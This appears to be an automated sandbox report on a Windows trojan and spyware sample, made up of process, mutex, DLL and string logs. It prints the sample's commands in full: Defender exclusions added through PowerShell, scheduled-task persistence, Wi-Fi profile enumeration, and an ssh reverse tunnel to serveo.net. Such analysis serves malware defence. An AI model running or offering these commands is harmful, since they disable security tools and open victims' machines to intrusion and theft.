Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll

Source: vkefq4cv.oil.exe.0.dr, iYbhDf.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: vkefq4cv.oil.exe.0.dr, iYbhDf.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.jqOHOuPMJP.exe.3e4a9f8.0.raw.unpack, iYbhDf.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.jqOHOuPMJP.exe.3e4a9f8.0.raw.unpack, iYbhDf.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: vkefq4cv.oil.exe.4.dr, iYbhDf.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: vkefq4cv.oil.exe.4.dr, iYbhDf.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: jqOHOuPMJP.exe, BootstrapLoader.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: jqOHOuPMJP.exe, BootstrapLoader.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@66/19@3/6

Source: C:\Users\user\Desktop\jqOHOuPMJP.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\jqOHOuPMJP.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Mutant created: \Sessions\1\BaseNamedObjects\jo0x2dte3z
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7876:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7648:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7432:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2088:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess8072
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1184:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4176:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8080:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7360:120:WilError_03

Source: C:\Users\user\Desktop\jqOHOuPMJP.exe

File created: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe

Jump to behavior

Source: jqOHOuPMJP.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: jqOHOuPMJP.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\jqOHOuPMJP.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\jqOHOuPMJP.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD747C000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: jqOHOuPMJP.exe	ReversingLabs: Detection: 13%
Source: jqOHOuPMJP.exe	Virustotal: Detection: 24%

Source: unknown	Process created: C:\Users\user\Desktop\jqOHOuPMJP.exe C:\Users\user\Desktop\jqOHOuPMJP.exe
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\jqOHOuPMJP.exe'; Add-MpPreference -ExclusionProcess 'jqOHOuPMJP'; Add-MpPreference -ExclusionPath 'C:\Windows'; Add-MpPreference -ExclusionPath 'C:\Users\user'
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process created: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe "C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe"
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /C chcp 65001 && timeout /t 3 > NUL && schtasks /create /tn "vkefq4cv.oil" /sc MINUTE /tr "C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe" &&START "" "C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 3
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "vkefq4cv.oil" /sc MINUTE /tr "C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe" /rl HIGHEST /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe "C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe"
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe" /c chcp 65001 && netsh wlan show profiles\|findstr /R /C:"[ ]:[ ]
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /R /C:"[ ]:[ ]"
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid \| findstr "SSID BSSID Signal
Source: unknown	Process created: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show networks mode=bssid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr "SSID BSSID Signal"
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe" /c chcp 65001 && netsh wlan show profiles\|findstr /R /C:"[ ]:[ ]
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /R /C:"[ ]:[ ]"
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid \| findstr "SSID BSSID Signal
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show networks mode=bssid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr "SSID BSSID Signal"
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process created: C:\Windows\System32\OpenSSH\ssh.exe "ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:6787 serveo.net
Source: C:\Windows\System32\OpenSSH\ssh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process created: C:\Windows\System32\OpenSSH\ssh.exe "ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:6787 serveo.net
Source: C:\Windows\System32\OpenSSH\ssh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 8072 -s 1632
Source: unknown	Process created: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\jqOHOuPMJP.exe'; Add-MpPreference -ExclusionProcess 'jqOHOuPMJP'; Add-MpPreference -ExclusionPath 'C:\Windows'; Add-MpPreference -ExclusionPath 'C:\Users\user'	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process created: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe "C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /C chcp 65001 && timeout /t 3 > NUL && schtasks /create /tn "vkefq4cv.oil" /sc MINUTE /tr "C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe" &&START "" "C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 3	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "vkefq4cv.oil" /sc MINUTE /tr "C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe" /rl HIGHEST /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe "C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe" /c chcp 65001 && netsh wlan show profiles\|findstr /R /C:"[ ]:[ ]	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid \| findstr "SSID BSSID Signal	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process created: C:\Windows\System32\OpenSSH\ssh.exe "ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:6787 serveo.net	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /R /C:"[ ]:[ ]"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show networks mode=bssid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr "SSID BSSID Signal"
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe" /c chcp 65001 && netsh wlan show profiles\|findstr /R /C:"[ ]:[ ]
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid \| findstr "SSID BSSID Signal
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process created: C:\Windows\System32\OpenSSH\ssh.exe "ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:6787 serveo.net
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /R /C:"[ ]:[ ]"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show networks mode=bssid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr "SSID BSSID Signal"

Source: C:\Users\user\Desktop\jqOHOuPMJP.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: jqOHOuPMJP.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: jqOHOuPMJP.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: jqOHOuPMJP.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: WINLOA~1.PDBwinload_prod.pdbD966DD2-7850-423A-B1D8-7882CE1A6D15.log source: cmd.exe, 00000005.00000003.1850385696.0000022BB817A000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000003.1850411128.0000022BB817B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\system32\rsaenh.dll.pdb\| source: vkefq4cv.oil.exe, 00000012.00000002.2077754048.0000010DF0DFF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.ni.pdb source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdb source: cmd.exe, 00000005.00000003.1850385696.0000022BB817A000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000003.1850411128.0000022BB817B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdbRSDS source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD8610000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.ni.pdb source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: System.Drawing.ni.pdb source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2a source: cmd.exe, 00000005.00000003.1850385696.0000022BB817A000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000003.1850411128.0000022BB817B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdb source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\*TOP-A source: cmd.exe, 00000005.00000003.1850385696.0000022BB817A000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000003.1850411128.0000022BB817B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1851434800.0000022BB817C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\* source: cmd.exe, 00000005.00000003.1850351981.0000022BB8350000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdbWINLOA~1.PDB source: cmd.exe, 00000005.00000003.1850385696.0000022BB817A000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000003.1850411128.0000022BB817B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.pdb source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: System.Drawing.ni.pdbRSDS source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2S source: cmd.exe, 00000005.00000003.1850385696.0000022BB817A000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000003.1850411128.0000022BB817B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.pdb source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: System.pdb source: vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD8610000.00000004.00000800.00020000.00000000.sdmp, WERCB81.tmp.dmp.41.dr
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\vkefq4cv.oil.exe source: cmd.exe, 00000005.00000002.1851434800.0000022BB8158000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: System.Core.ni.pdb source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: mscorlib.pdb! source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: System.Configuration.pdbx source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: System.Windows.Forms.pdb source: WERCB81.tmp.dmp.41.dr
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: cmd.exe, 00000005.00000003.1850385696.0000022BB817A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: vkefq4cv.oil.exe, 00000012.00000002.2076526524.0000010DEFD37000.00000004.00000020.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD8610000.00000004.00000800.00020000.00000000.sdmp, WERCB81.tmp.dmp.41.dr
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831EneJ source: cmd.exe, 00000005.00000003.1850385696.0000022BB817A000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000003.1850411128.0000022BB817B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1851434800.0000022BB817C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.ni.pdbRSDSJ< source: WERCB81.tmp.dmp.41.dr
